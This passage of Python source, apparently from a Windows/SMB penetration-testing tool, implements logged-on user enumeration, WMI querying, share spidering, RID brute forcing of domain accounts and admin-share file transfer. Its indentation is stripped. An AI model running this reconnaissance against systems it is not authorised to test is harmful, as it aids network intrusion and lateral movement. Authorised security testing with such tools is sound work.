self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
except Exception as e:
self.logger.error('Error enumerating logged on users: {}'.format(e))
return loggedon
def pass_pol(self):
return PassPolDump(self).dump()
@requires_admin
def wmi(self, wmi_query=None, namespace=None):
records = []
if not namespace:
namespace = self.args.wmi_namespace
try:
rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
rpc._create_wmi_connection(namespace=namespace)
if wmi_query:
query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
else:
query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
except Exception as e:
self.logger.error('Error creating WMI connection: {}'.format(e))
return records
while True:
try:
wmi_results = query.Next(0xffffffff, 1)[0]
record = wmi_results.getProperties()
records.append(record)
for k,v in record.items():
self.logger.highlight('{} => {}'.format(k,v['value']))
self.logger.highlight('')
except Exception as e:
if str(e).find('S_FALSE') < 0:
raise e
else:
break
return records
def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
spider = SMBSpider(self.conn, self.logger)
self.logger.info('Started spidering')
start_time = time()
if not share:
spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
self.args.regex, self.args.exclude_dirs, self.args.depth,
self.args.content, self.args.only_files)
else:
spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)
self.logger.info("Done spidering (Completed in {})".format(time() - start_time))
return spider.results
def rid_brute(self, maxRid=None):
entries = []
if not maxRid:
maxRid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
}
try:
stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
logging.debug('StringBinding {}'.format(stringbinding))
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.args.port)
if KNOWN_PROTOCOLS[self.args.port]['set_host']:
rpctransport.setRemoteHost(self.host)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
except Exception as e:
self.logger.error('Error creating DCERPC connection: {}'.format(e))
return entries
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
self.logger.success('Brute forcing RIDs')
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid//SIMULTANEOUS+1):
if (maxRid - soFar) // SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in range(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
rid = soFar + n
domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
user = item['Name']
sid_type = SID_NAME_USE.enumItems(item['Use']).name
self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})
soFar += SIMULTANEOUS
dce.disconnect()
return entries
@requires_admin
def put_file(self):
self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
with open(self.args.put_file[0], 'rb') as file:
try:
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1]))
except Exception as e:
self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))
@requires_admin
def get_file(self):
self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
with open(self.args.get_file[1], 'wb+') as file:
try:
self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
except Exception as e:
self.logger.error('Error reading file {}: {}'.format(self.args.share, e))
def enable_remoteops(self):
if self.remote_ops is not None and self.bootkey is not None: